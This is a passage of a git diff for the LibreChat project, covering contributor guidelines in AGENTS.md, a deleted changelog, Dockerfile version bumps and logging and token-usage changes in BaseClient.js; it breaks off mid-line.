intellisense on public APIs. +- Single-line JSDoc for brief docs, multi-line for complex cases. +- Avoid standalone `//` comments unless absolutely necessary. + +### Import Order + +Imports are organized into three sections: + +1. **Package imports** — sorted shortest to longest line length (`react` always first). +2. **`import type` imports** — sorted longest to shortest (package types first, then local types; length resets between sub-groups). +3. **Local/project imports** — sorted longest to shortest. + +Multi-line imports count total character length across all lines. Consolidate value imports from the same module. Always use standalone `import type { ... }` — never inline `type` inside value imports. + +### JS/TS Loop Preferences + +- **Limit looping as much as possible.** Prefer single-pass transformations and avoid re-iterating the same data. +- `for (let i = 0; ...)` for performance-critical or index-dependent operations. +- `for...of` for simple array iteration. +- `for...in` only for object property enumeration. + +--- + +## Frontend Rules (`client/src/**/*`) + +### Localization + +- All user-facing text must use `useLocalize()`. +- Only update English keys in `client/src/locales/en/translation.json` (other languages are automated externally). +- Semantic key prefixes: `com_ui_`, `com_assistants_`, etc. + +### Components + +- TypeScript for all React components with proper type imports. +- Semantic HTML with ARIA labels (`role`, `aria-label`) for accessibility. +- Group related components in feature directories (e.g., `SidePanel/Memories/`). +- Use index files for clean exports. + +### Data Management + +- Feature hooks: `client/src/data-provider/[Feature]/queries.ts` → `[Feature]/index.ts` → `client/src/data-provider/index.ts`. +- React Query (`@tanstack/react-query`) for all API interactions; proper query invalidation on mutations. +- QueryKeys and MutationKeys in `packages/data-provider/src/keys.ts`. + +### Data-Provider Integration + +- Endpoints: `packages/data-provider/src/api-endpoints.ts` +- Data service: `packages/data-provider/src/data-service.ts` +- Types: `packages/data-provider/src/types/queries.ts` +- Use `encodeURIComponent` for dynamic URL parameters. + +### Performance + +- Prioritize memory and speed efficiency at scale. +- Cursor pagination for large datasets. +- Proper dependency arrays to avoid unnecessary re-renders. +- Leverage React Query caching and background refetching. + +--- + +## Development Commands + +| Command | Purpose | +|---|---| +| `npm run smart-reinstall` | Install deps (if lockfile changed) + build via Turborepo | +| `npm run reinstall` | Clean install — wipe `node_modules` and reinstall from scratch | +| `npm run backend` | Start the backend server | +| `npm run backend:dev` | Start backend with file watching (development) | +| `npm run build` | Build all compiled code via Turborepo (parallel, cached) | +| `npm run frontend` | Build all compiled code sequentially (legacy fallback) | +| `npm run frontend:dev` | Start frontend dev server with HMR (port 3090, requires backend running) | +| `npm run build:data-provider` | Rebuild `packages/data-provider` after changes | + +- Node.js: v20.19.0+ or ^22.12.0 or >= 23.0.0 +- Database: MongoDB +- Backend runs on `http://localhost:3080/`; frontend dev server on `http://localhost:3090/` + +--- + +## Testing + +- Framework: **Jest**, run per-workspace. +- Run tests from their workspace directory: `cd api && npx jest `, `cd packages/api && npx jest `, etc. +- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering. +- Cover loading, success, and error states for UI/data flows. + +### Philosophy + +- **Real logic over mocks.** Exercise actual code paths with real dependencies. Mocking is a last resort. +- **Spies over mocks.** Assert that real functions are called with expected arguments and frequency without replacing underlying logic. +- **MongoDB**: use `mongodb-memory-server` for a real in-memory MongoDB instance. Test actual queries and schema validation, not mocked DB calls. +- **MCP**: use real `@modelcontextprotocol/sdk` exports for servers, transports, and tool definitions. Mirror real scenarios, don't stub SDK internals. +- Only mock what you cannot control: external HTTP APIs, rate-limited services, non-deterministic system calls. +- Heavy mocking is a code smell, not a testing strategy. + +--- + +## Formatting + +Fix all formatting lint errors (trailing spaces, tabs, newlines, indentation) using auto-fix when available. All TypeScript/ESLint warnings and errors **must** be resolved. diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index a8cb8282bd..0000000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,236 +0,0 @@ -# Changelog - -All notable changes to this project will be documented in this file. - - - - - - -## [Unreleased] - -### ✨ New Features - -- ✨ feat: implement search parameter updates by **@mawburn** in [#7151](https://github.com/danny-avila/LibreChat/pull/7151) -- 🎏 feat: Add MCP support for Streamable HTTP Transport by **@benverhees** in [#7353](https://github.com/danny-avila/LibreChat/pull/7353) -- 🔒 feat: Add Content Security Policy using Helmet middleware by **@rubentalstra** in [#7377](https://github.com/danny-avila/LibreChat/pull/7377) -- ✨ feat: Add Normalization for MCP Server Names by **@danny-avila** in [#7421](https://github.com/danny-avila/LibreChat/pull/7421) -- 📊 feat: Improve Helm Chart by **@hofq** in [#3638](https://github.com/danny-avila/LibreChat/pull/3638) -- 🦾 feat: Claude-4 Support by **@danny-avila** in [#7509](https://github.com/danny-avila/LibreChat/pull/7509) -- 🪨 feat: Bedrock Support for Claude-4 Reasoning by **@danny-avila** in [#7517](https://github.com/danny-avila/LibreChat/pull/7517) - -### 🌍 Internationalization - -- 🌍 i18n: Add `Danish` and `Czech` and `Catalan` localization support by **@rubentalstra** in [#7373](https://github.com/danny-avila/LibreChat/pull/7373) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7375](https://github.com/danny-avila/LibreChat/pull/7375) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7468](https://github.com/danny-avila/LibreChat/pull/7468) - -### 🔧 Fixes - -- 💬 fix: update aria-label for accessibility in ConvoLink component by **@berry-13** in [#7320](https://github.com/danny-avila/LibreChat/pull/7320) -- 🔑 fix: use `apiKey` instead of `openAIApiKey` in OpenAI-like Config by **@danny-avila** in [#7337](https://github.com/danny-avila/LibreChat/pull/7337) -- 🔄 fix: update navigation logic in `useFocusChatEffect` to ensure correct search parameters are used by **@mawburn** in [#7340](https://github.com/danny-avila/LibreChat/pull/7340) -- 🔄 fix: Improve MCP Connection Cleanup by **@danny-avila** in [#7400](https://github.com/danny-avila/LibreChat/pull/7400) -- 🛡️ fix: Preset and Validation Logic for URL Query Params by **@danny-avila** in [#7407](https://github.com/danny-avila/LibreChat/pull/7407) -- 🌘 fix: artifact of preview text is illegible in dark mode by **@nhtruong** in [#7405](https://github.com/danny-avila/LibreChat/pull/7405) -- 🛡️ fix: Temporarily Remove CSP until Configurable by **@danny-avila** in [#7419](https://github.com/danny-avila/LibreChat/pull/7419) -- 💽 fix: Exclude index page `/` from static cache settings by **@sbruel** in [#7382](https://github.com/danny-avila/LibreChat/pull/7382) - -### ⚙️ Other Changes - -- 📜 docs: CHANGELOG for release v0.7.8 by **@github-actions[bot]** in [#7290](https://github.com/danny-avila/LibreChat/pull/7290) -- 📦 chore: Update API Package Dependencies by **@danny-avila** in [#7359](https://github.com/danny-avila/LibreChat/pull/7359) -- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7321](https://github.com/danny-avila/LibreChat/pull/7321) -- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7434](https://github.com/danny-avila/LibreChat/pull/7434) -- 🛡️ chore: `multer` v2.0.0 for CVE-2025-47935 and CVE-2025-47944 by **@danny-avila** in [#7454](https://github.com/danny-avila/LibreChat/pull/7454) -- 📂 refactor: Improve `FileAttachment` & File Form Deletion by **@danny-avila** in [#7471](https://github.com/danny-avila/LibreChat/pull/7471) -- 📊 chore: Remove Old Helm Chart by **@hofq** in [#7512](https://github.com/danny-avila/LibreChat/pull/7512) -- 🪖 chore: bump helm app version to v0.7.8 by **@austin-barrington** in [#7524](https://github.com/danny-avila/LibreChat/pull/7524) - - - ---- -## [v0.7.8] - - -Changes from v0.7.8-rc1 to v0.7.8. - -### ✨ New Features - -- ✨ feat: Enhance form submission for touch screens by **@berry-13** in [#7198](https://github.com/danny-avila/LibreChat/pull/7198) -- 🔍 feat: Additional Tavily API Tool Parameters by **@glowforge-opensource** in [#7232](https://github.com/danny-avila/LibreChat/pull/7232) -- 🐋 feat: Add python to Dockerfile for increased MCP compatibility by **@technicalpickles** in [#7270](https://github.com/danny-avila/LibreChat/pull/7270) - -### 🔧 Fixes - -- 🔧 fix: Google Gemma Support & OpenAI Reasoning Instructions by **@danny-avila** in [#7196](https://github.com/danny-avila/LibreChat/pull/7196) -- 🛠️ fix: Conversation Navigation State by **@danny-avila** in [#7210](https://github.com/danny-avila/LibreChat/pull/7210) -- 🔄 fix: o-Series Model Regex for System Messages by **@danny-avila** in [#7245](https://github.com/danny-avila/LibreChat/pull/7245) -- 🔖 fix: Custom Headers for Initial MCP SSE Connection by **@danny-avila** in [#7246](https://github.com/danny-avila/LibreChat/pull/7246) -- 🛡️ fix: Deep Clone `MCPOptions` for User MCP Connections by **@danny-avila** in [#7247](https://github.com/danny-avila/LibreChat/pull/7247) -- 🔄 fix: URL Param Race Condition and File Draft Persistence by **@danny-avila** in [#7257](https://github.com/danny-avila/LibreChat/pull/7257) -- 🔄 fix: Assistants Endpoint & Minor Issues by **@danny-avila** in [#7274](https://github.com/danny-avila/LibreChat/pull/7274) -- 🔄 fix: Ollama Think Tag Edge Case with Tools by **@danny-avila** in [#7275](https://github.com/danny-avila/LibreChat/pull/7275) - -### ⚙️ Other Changes - -- 📜 docs: CHANGELOG for release v0.7.8-rc1 by **@github-actions[bot]** in [#7153](https://github.com/danny-avila/LibreChat/pull/7153) -- 🔄 refactor: Artifact Visibility Management by **@danny-avila** in [#7181](https://github.com/danny-avila/LibreChat/pull/7181) -- 📦 chore: Bump Package Security by **@danny-avila** in [#7183](https://github.com/danny-avila/LibreChat/pull/7183) -- 🌿 refactor: Unmount Fork Popover on Hide for Better Performance by **@danny-avila** in [#7189](https://github.com/danny-avila/LibreChat/pull/7189) -- 🧰 chore: ESLint configuration to enforce Prettier formatting rules by **@mawburn** in [#7186](https://github.com/danny-avila/LibreChat/pull/7186) -- 🎨 style: Improve KaTeX Rendering for LaTeX Equations by **@andresgit** in [#7223](https://github.com/danny-avila/LibreChat/pull/7223) -- 📝 docs: Update `.env.example` Google models by **@marlonka** in [#7254](https://github.com/danny-avila/LibreChat/pull/7254) -- 💬 refactor: MCP Chat Visibility Option, Google Rates, Remove OpenAPI Plugins by **@danny-avila** in [#7286](https://github.com/danny-avila/LibreChat/pull/7286) -- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7214](https://github.com/danny-avila/LibreChat/pull/7214) - - - -[See full release details][release-v0.7.8] - -[release-v0.7.8]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8 - ---- -## [v0.7.8-rc1] - - -Changes from v0.7.7 to v0.7.8-rc1. - -### ✨ New Features - -- 🔍 feat: Mistral OCR API / Upload Files as Text by **@danny-avila** in [#6274](https://github.com/danny-avila/LibreChat/pull/6274) -- 🤖 feat: Support OpenAI Web Search models by **@danny-avila** in [#6313](https://github.com/danny-avila/LibreChat/pull/6313) -- 🔗 feat: Agent Chain (Mixture-of-Agents) by **@danny-avila** in [#6374](https://github.com/danny-avila/LibreChat/pull/6374) -- ⌛ feat: `initTimeout` for Slow Starting MCP Servers by **@perweij** in [#6383](https://github.com/danny-avila/LibreChat/pull/6383) -- 🚀 feat: `S3` Integration for File handling and Image uploads by **@rubentalstra** in [#6142](https://github.com/danny-avila/LibreChat/pull/6142) -- 🔒feat: Enable OpenID Auto-Redirect by **@leondape** in [#6066](https://github.com/danny-avila/LibreChat/pull/6066) -- 🚀 feat: Integrate `Azure Blob Storage` for file handling and image uploads by **@rubentalstra** in [#6153](https://github.com/danny-avila/LibreChat/pull/6153) -- 🚀 feat: Add support for custom `AWS` endpoint in `S3` by **@rubentalstra** in [#6431](https://github.com/danny-avila/LibreChat/pull/6431) -- 🚀 feat: Add support for LDAP STARTTLS in LDAP authentication by **@rubentalstra** in [#6438](https://github.com/danny-avila/LibreChat/pull/6438) -- 🚀 feat: Refactor schema exports and update package version to 0.0.4 by **@rubentalstra** in [#6455](https://github.com/danny-avila/LibreChat/pull/6455) -- 🔼 feat: Add Auto Submit For URL Query Params by **@mjaverto** in [#6440](https://github.com/danny-avila/LibreChat/pull/6440) -- 🛠 feat: Enhance Redis Integration, Rate Limiters & Log Headers by **@danny-avila** in [#6462](https://github.com/danny-avila/LibreChat/pull/6462) -- 💵 feat: Add Automatic Balance Refill by **@rubentalstra** in [#6452](https://github.com/danny-avila/LibreChat/pull/6452) -- 🗣️ feat: add support for gpt-4o-transcribe models by **@berry-13** in [#6483](https://github.com/danny-avila/LibreChat/pull/6483) -- 🎨 feat: UI Refresh for Enhanced UX by **@berry-13** in [#6346](https://github.com/danny-avila/LibreChat/pull/6346) -- 🌍 feat: Add support for Hungarian language localization by **@rubentalstra** in [#6508](https://github.com/danny-avila/LibreChat/pull/6508) -- 🚀 feat: Add Gemini 2.5 Token/Context Values, Increase Max Possible Output to 64k by **@danny-avila** in [#6563](https://github.com/danny-avila/LibreChat/pull/6563) -- 🚀 feat: Enhance MCP Connections For Multi-User Support by **@danny-avila** in [#6610](https://github.com/danny-avila/LibreChat/pull/6610) -- 🚀 feat: Enhance S3 URL Expiry with Refresh; fix: S3 File Deletion by **@danny-avila** in [#6647](https://github.com/danny-avila/LibreChat/pull/6647) -- 🚀 feat: enhance UI components and refactor settings by **@berry-13** in [#6625](https://github.com/danny-avila/LibreChat/pull/6625) -- 💬 feat: move TemporaryChat to the Header by **@berry-13** in [#6646](https://github.com/danny-avila/LibreChat/pull/6646) -- 🚀 feat: Use Model Specs + Specific Endpoints, Limit Providers for Agents by **@danny-avila** in [#6650](https://github.com/danny-avila/LibreChat/pull/6650) -- 🪙 feat: Sync Balance Config on Login by **@danny-avila** in [#6671](https://github.com/danny-avila/LibreChat/pull/6671) -- 🔦 feat: MCP Support for Non-Agent Endpoints by **@danny-avila** in [#6775](https://github.com/danny-avila/LibreChat/pull/6775) -- 🗃️ feat: Code Interpreter File Persistence between Sessions by **@danny-avila** in [#6790](https://github.com/danny-avila/LibreChat/pull/6790) -- 🖥️ feat: Code Interpreter API for Non-Agent Endpoints by **@danny-avila** in [#6803](https://github.com/danny-avila/LibreChat/pull/6803) -- ⚡ feat: Self-hosted Artifacts Static Bundler URL by **@danny-avila** in [#6827](https://github.com/danny-avila/LibreChat/pull/6827) -- 🐳 feat: Add Jemalloc and UV to Docker Builds by **@danny-avila** in [#6836](https://github.com/danny-avila/LibreChat/pull/6836) -- 🤖 feat: GPT-4.1 by **@danny-avila** in [#6880](https://github.com/danny-avila/LibreChat/pull/6880) -- 👋 feat: remove Edge TTS by **@berry-13** in [#6885](https://github.com/danny-avila/LibreChat/pull/6885) -- feat: nav optimization by **@berry-13** in [#5785](https://github.com/danny-avila/LibreChat/pull/5785) -- 🗺️ feat: Add Parameter Location Mapping for OpenAPI actions by **@peeeteeer** in [#6858](https://github.com/danny-avila/LibreChat/pull/6858) -- 🤖 feat: Support `o4-mini` and `o3` Models by **@danny-avila** in [#6928](https://github.com/danny-avila/LibreChat/pull/6928) -- 🎨 feat: OpenAI Image Tools (GPT-Image-1) by **@danny-avila** in [#7079](https://github.com/danny-avila/LibreChat/pull/7079) -- 🗓️ feat: Add Special Variables for Prompts & Agents, Prompt UI Improvements by **@danny-avila** in [#7123](https://github.com/danny-avila/LibreChat/pull/7123) - -### 🌍 Internationalization - -- 🌍 i18n: Add Thai Language Support and Update Translations by **@rubentalstra** in [#6219](https://github.com/danny-avila/LibreChat/pull/6219) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6220](https://github.com/danny-avila/LibreChat/pull/6220) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6240](https://github.com/danny-avila/LibreChat/pull/6240) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6241](https://github.com/danny-avila/LibreChat/pull/6241) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6277](https://github.com/danny-avila/LibreChat/pull/6277) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6414](https://github.com/danny-avila/LibreChat/pull/6414) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6505](https://github.com/danny-avila/LibreChat/pull/6505) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6530](https://github.com/danny-avila/LibreChat/pull/6530) -- 🌍 i18n: Add Persian Localization Support by **@rubentalstra** in [#6669](https://github.com/danny-avila/LibreChat/pull/6669) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6667](https://github.com/danny-avila/LibreChat/pull/6667) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7126](https://github.com/danny-avila/LibreChat/pull/7126) -- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7148](https://github.com/danny-avila/LibreChat/pull/7148) - -### 👐 Accessibility - -- 🎨 a11y: Update Model Spec Description Text by **@berry-13** in [#6294](https://github.com/danny-avila/LibreChat/pull/6294) -- 🗑️ a11y: Add Accessible Name to Button for File Attachment Removal by **@kangabell** in [#6709](https://github.com/danny-avila/LibreChat/pull/6709) -- ⌨️ a11y: enhance accessibility & visual consistency by **@berry-13** in [#6866](https://github.com/danny-avila/LibreChat/pull/6866) -- 🙌 a11y: Searchbar/Conversations List Focus by **@danny-avila** in [#7096](https://github.com/danny-avila/LibreChat/pull/7096) -- 👐 a11y: Improve Fork and SplitText Accessibility by **@danny-avila** in [#7147](https://github.com/danny-avila/LibreChat/pull/7147) - -### 🔧 Fixes - -- 🐛 fix: Avatar Type Definitions in Agent/Assistant Schemas by **@danny-avila** in [#6235](https://github.com/danny-avila/LibreChat/pull/6235) -- 🔧 fix: MeiliSearch Field Error and Patch Incorrect Import by #6210 by **@rubentalstra** in [#6245](https://github.com/danny-avila/LibreChat/pull/6245) -- 🔏 fix: Enhance Two-Factor Authentication by **@rubentalstra** in [#6247](https://github.com/danny-avila/LibreChat/pull/6247) -- 🐛 fix: Await saveMessage in abortMiddleware to ensure proper execution by **@sh4shii** in [#6248](https://github.com/danny-avila/LibreChat/pull/6248) -- 🔧 fix: Axios Proxy Usage And Bump `mongoose` by **@danny-avila** in [#6298](https://github.com/danny-avila/LibreChat/pull/6298) -- 🔧 fix: comment out MCP servers to resolve service run issues by **@KunalScriptz** in [#6316](https://github.com/danny-avila/LibreChat/pull/6316) -- 🔧 fix: Update Token Calculations and Mapping, MCP `env` Initialization by **@danny-avila** in [#6406](https://github.com/danny-avila/LibreChat/pull/6406) -- 🐞 fix: Agent "Resend" Message Attachments + Source Icon Styling by **@danny-avila** in [#6408](https://github.com/danny-avila/LibreChat/pull/6408) -- 🐛 fix: Prevent Crash on Duplicate Message ID by **@Odrec** in [#6392](https://github.com/danny-avila/LibreChat/pull/6392) -- 🔐 fix: Invalid Key Length in 2FA Encryption by **@rubentalstra** in [#6432](https://github.com/danny-avila/LibreChat/pull/6432) -- 🏗️ fix: Fix Agents Token Spend Race Conditions, Expand Test Coverage by **@danny-avila** in [#6480](https://github.com/danny-avila/LibreChat/pull/6480) -- 🔃 fix: Draft Clearing, Claude Titles, Remove Default Vision Max Tokens by **@danny-avila** in [#6501](https://github.com/danny-avila/LibreChat/pull/6501) -- 🔧 fix: Update username reference to use user.name in greeting display by **@rubentalstra** in [#6534](https://github.com/danny-avila/LibreChat/pull/6534) -- 🔧 fix: S3 Download Stream with Key Extraction and Blob Storage Encoding for Vision by **@danny-avila** in [#6557](https://github.com/danny-avila/LibreChat/pull/6557) -- 🔧 fix: Mistral type strictness for `usage` & update token values/windows by **@danny-avila** in [#6562](https://github.com/danny-avila/LibreChat/pull/6562) -- 🔧 fix: Consolidate Text Parsing and TTS Edge Initialization by **@danny-avila** in [#6582](https://github.com/danny-avila/LibreChat/pull/6582) -- 🔧 fix: Ensure continuation in image processing on base64 encoding from Blob Storage by **@danny-avila** in [#6619](https://github.com/danny-avila/LibreChat/pull/6619) -- ✉️ fix: Fallback For User Name In Email Templates by **@danny-avila** in [#6620](https://github.com/danny-avila/LibreChat/pull/6620) -- 🔧 fix: Azure Blob Integration and File Source References by **@rubentalstra** in [#6575](https://github.com/danny-avila/LibreChat/pull/6575) -- 🐛 fix: Safeguard against undefined addedEndpoints by **@wipash** in [#6654](https://github.com/danny-avila/LibreChat/pull/6654) -- 🤖 fix: Gemini 2.5 Vision Support by **@danny-avila** in [#6663](https://github.com/danny-avila/LibreChat/pull/6663) -- 🔄 fix: Avatar & Error Handling Enhancements by **@danny-avila** in [#6687](https://github.com/danny-avila/LibreChat/pull/6687) -- 🔧 fix: Chat Middleware, Zod Conversion, Auto-Save and S3 URL Refresh by **@danny-avila** in [#6720](https://github.com/danny-avila/LibreChat/pull/6720) -- 🔧 fix: Agent Capability Checks & DocumentDB Compatibility for Agent Resource Removal by **@danny-avila** in [#6726](https://github.com/danny-avila/LibreChat/pull/6726) -- 🔄 fix: Improve audio MIME type detection and handling by **@berry-13** in [#6707](https://github.com/danny-avila/LibreChat/pull/6707) -- 🪺 fix: Update Role Handling due to New Schema Shape by **@danny-avila** in [#6774](https://github.com/danny-avila/LibreChat/pull/6774) -- 🗨️ fix: Show ModelSpec Greeting by **@berry-13** in [#6770](https://github.com/danny-avila/LibreChat/pull/6770) -- 🔧 fix: Keyv and Proxy Issues, and More Memory Optimizations by **@danny-avila** in [#6867](https://github.com/danny-avila/LibreChat/pull/6867) -- ✨ fix: Implement dynamic text sizing for greeting and name display by **@berry-13** in [#6833](https://github.com/danny-avila/LibreChat/pull/6833) -- 📝 fix: Mistral OCR Image Support and Azure Agent Titles by **@danny-avila** in [#6901](https://github.com/danny-avila/LibreChat/pull/6901) -- 📢 fix: Invalid `engineTTS` and Conversation State on Navigation by **@berry-13** in [#6904](https://github.com/danny-avila/LibreChat/pull/6904) -- 🛠️ fix: Improve Accessibility and Display of Conversation Menu by **@danny-avila** in [#6913](https://github.com/danny-avila/LibreChat/pull/6913) -- 🔧 fix: Agent Resource Form, Convo Menu Style, Ensure Draft Clears on Submission by **@danny-avila** in [#6925](https://github.com/danny-avila/LibreChat/pull/6925) -- 🔀 fix: MCP Improvements, Auto-Save Drafts, Artifact Markup by **@danny-avila** in [#7040](https://github.com/danny-avila/LibreChat/pull/7040) -- 🐋 fix: Improve Deepseek Compatbility by **@danny-avila** in [#7132](https://github.com/danny-avila/LibreChat/pull/7132) -- 🐙 fix: Add Redis Ping Interval to Prevent Connection Drops by **@peeeteeer** in [#7127](https://github.com/danny-avila/LibreChat/pull/7127) - -### ⚙️ Other Changes - -- 📦 refactor: Move DB Models to `@librechat/data-schemas` by **@rubentalstra** in [#6210](https://github.com/danny-avila/LibreChat/pull/6210) -- 📦 chore: Patch `axios` to address CVE-2025-27152 by **@danny-avila** in [#6222](https://github.com/danny-avila/LibreChat/pull/6222) -- ⚠️ refactor: Use Error Content Part Instead Of Throwing Error for Agents by **@danny-avila** in [#6262](https://github.com/danny-avila/LibreChat/pull/6262) -- 🏃‍♂️ refactor: Improve Agent Run Context & Misc. Changes by **@danny-avila** in [#6448](https://github.com/danny-avila/LibreChat/pull/6448) -- 📝 docs: librechat.example.yaml by **@ineiti** in [#6442](https://github.com/danny-avila/LibreChat/pull/6442) -- 🏃‍♂️ refactor: More Agent Context Improvements during Run by **@danny-avila** in [#6477](https://github.com/danny-avila/LibreChat/pull/6477) -- 🔃 refactor: Allow streaming for `o1` models by **@danny-avila** in [#6509](https://github.com/danny-avila/LibreChat/pull/6509) -- 🔧 chore: `Vite` Plugin Upgrades & Config Optimizations by **@rubentalstra** in [#6547](https://github.com/danny-avila/LibreChat/pull/6547) -- 🔧 refactor: Consolidate Logging, Model Selection & Actions Optimizations, Minor Fixes by **@danny-avila** in [#6553](https://github.com/danny-avila/LibreChat/pull/6553) -- 🎨 style: Address Minor UI Refresh Issues by **@berry-13** in [#6552](https://github.com/danny-avila/LibreChat/pull/6552) -- 🔧 refactor: Enhance Model & Endpoint Configurations with Global Indicators 🌍 by **@berry-13** in [#6578](https://github.com/danny-avila/LibreChat/pull/6578) -- 💬 style: Chat UI, Greeting, and Message adjustments by **@berry-13** in [#6612](https://github.com/danny-avila/LibreChat/pull/6612) -- ⚡ refactor: DocumentDB Compatibility for Balance Updates by **@danny-avila** in [#6673](https://github.com/danny-avila/LibreChat/pull/6673) -- 🧹 chore: Update ESLint rules for React hooks by **@rubentalstra** in [#6685](https://github.com/danny-avila/LibreChat/pull/6685) -- 🪙 chore: Update Gemini Pricing by **@RedwindA** in [#6731](https://github.com/danny-avila/LibreChat/pull/6731) -- 🪺 refactor: Nest Permission fields for Roles by **@rubentalstra** in [#6487](https://github.com/danny-avila/LibreChat/pull/6487) -- 📦 chore: Update `caniuse-lite` dependency to version 1.0.30001706 by **@rubentalstra** in [#6482](https://github.com/danny-avila/LibreChat/pull/6482) -- ⚙️ refactor: OAuth Flow Signal, Type Safety, Tool Progress & Updated Packages by **@danny-avila** in [#6752](https://github.com/danny-avila/LibreChat/pull/6752) -- 📦 chore: bump vite from 6.2.3 to 6.2.5 by **@dependabot[bot]** in [#6745](https://github.com/danny-avila/LibreChat/pull/6745) -- 💾 chore: Enhance Local Storage Handling and Update MCP SDK by **@danny-avila** in [#6809](https://github.com/danny-avila/LibreChat/pull/6809) -- 🤖 refactor: Improve Agents Memory Usage, Bump Keyv, Grok 3 by **@danny-avila** in [#6850](https://github.com/danny-avila/LibreChat/pull/6850) -- 💾 refactor: Enhance Memory In Image Encodings & Client Disposal by **@danny-avila** in [#6852](https://github.com/danny-avila/LibreChat/pull/6852) -- 🔁 refactor: Token Event Handler and Standardize `maxTokens` Key by **@danny-avila** in [#6886](https://github.com/danny-avila/LibreChat/pull/6886) -- 🔍 refactor: Search & Message Retrieval by **@berry-13** in [#6903](https://github.com/danny-avila/LibreChat/pull/6903) -- 🎨 style: standardize dropdown styling & fix z-Index layering by **@berry-13** in [#6939](https://github.com/danny-avila/LibreChat/pull/6939) -- 📙 docs: CONTRIBUTING.md by **@dblock** in [#6831](https://github.com/danny-avila/LibreChat/pull/6831) -- 🧭 refactor: Modernize Nav/Header by **@danny-avila** in [#7094](https://github.com/danny-avila/LibreChat/pull/7094) -- 🪶 refactor: Chat Input Focus for Conversation Navigations & ChatForm Optimizations by **@danny-avila** in [#7100](https://github.com/danny-avila/LibreChat/pull/7100) -- 🔃 refactor: Streamline Navigation, Message Loading UX by **@danny-avila** in [#7118](https://github.com/danny-avila/LibreChat/pull/7118) -- 📜 docs: Unreleased changelog by **@github-actions[bot]** in [#6265](https://github.com/danny-avila/LibreChat/pull/6265) - - - -[See full release details][release-v0.7.8-rc1] - -[release-v0.7.8-rc1]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8-rc1 - ---- diff --git a/CLAUDE.md b/CLAUDE.md new file mode 120000 index 0000000000..47dc3e3d86 --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1 @@ +AGENTS.md \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 38273bc5eb..bbff8133da 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -# v0.8.2 +# v0.8.3 # Base node image FROM node:20-alpine AS node diff --git a/Dockerfile.multi b/Dockerfile.multi index 47e00d0fa8..53810b5f0a 100644 --- a/Dockerfile.multi +++ b/Dockerfile.multi @@ -1,5 +1,5 @@ # Dockerfile.multi -# v0.8.2 +# v0.8.3 # Set configurable max-old-space-size with default ARG NODE_MAX_OLD_SPACE_SIZE=6144 diff --git a/README.md b/README.md index 6e04396637..e82b3ebc2c 100644 --- a/README.md +++ b/README.md @@ -27,8 +27,8 @@

- - Deploy on Railway + + Deploy on Railway Deploy on Zeabur diff --git a/api/app/clients/BaseClient.js b/api/app/clients/BaseClient.js index a2dfaf9907..8f931f8a5e 100644 --- a/api/app/clients/BaseClient.js +++ b/api/app/clients/BaseClient.js @@ -4,6 +4,7 @@ const { logger } = require('@librechat/data-schemas'); const { countTokens, getBalanceConfig, + buildMessageFiles, extractFileContext, encodeAndFormatAudios, encodeAndFormatVideos, @@ -20,6 +21,7 @@ const { isAgentsEndpoint, isEphemeralAgentId, supportsBalanceCheck, + isBedrockDocumentType, } = require('librechat-data-provider'); const { updateMessage, @@ -122,7 +124,9 @@ class BaseClient { * @returns {number} */ getTokenCountForResponse(responseMessage) { - logger.debug('[BaseClient] `recordTokenUsage` not implemented.', responseMessage); + logger.debug('[BaseClient] `recordTokenUsage` not implemented.', { + messageId: responseMessage?.messageId, + }); } /** @@ -133,12 +137,14 @@ class BaseClient { * @param {AppConfig['balance']} [balance] * @param {number} promptTokens * @param {number} completionTokens + * @param {string} [messageId] * @returns {Promise} */ - async recordTokenUsage({ model, balance, promptTokens, completionTokens }) { + async recordTokenUsage({ model, balance, promptTokens, completionTokens, messageId }) { logger.debug('[BaseClient] `recordTokenUsage` not implemented.', { model, balance, + messageId, promptTokens, completionTokens, }); @@ -659,16 +665,27 @@ class BaseClient { ); if (tokenCountMap) { - logger.debug('[BaseClient] tokenCountMap', tokenCountMap); if (tokenCountMap[userMessage.messageId]) { userMessage.tokenCount = tokenCountMap[userMessage.messageId]; - logger.debug('[BaseClient] userMessage', userMessage); + logger.debug('[BaseClient] userMessage', { + messageId: userMessage.messageId, + tokenCount: userMessage.tokenCount, + conversationId: userMessage.conversationId, + }); } this.handleTokenCountMap(tokenCountMap); } if (!isEdited && !this.skipSaveUserMessage) { + const reqFiles = this.options.req?.body?.files; + if (reqFiles && Array.isArray(this.options.attachments)) { + const files = buildMessageFiles(reqFiles, this.options.attachments); + if (files.length > 0) { + userMessage.files = files; + } + delete userMessage.image_urls; + } userMessagePromise = this.saveMessageToDatabase(userMessage, saveOptions, user); this.savedMessageIds.add(userMessage.messageId); if (typeof opts?.getReqData === 'function') { @@ -780,9 +797,18 @@ class BaseClient { promptTokens, completionTokens, balance: balanceConfig, - model: responseMessage.model, + /** Note: When using agents, responseMessage.model is the agent ID, not the model */ + model: this.model, + messageId: this.responseMessageId, }); } + + logger.debug('[BaseClient] Response token usage', { + messageId: responseMessage.messageId, + model: responseMessage.model, + promptTokens, + completionTokens, + }); } if (userMessagePromise) { @@ -1300,6 +1326,9 @@ class BaseClient { const allFiles = []; + const provider = this.options.agent?.provider ?? 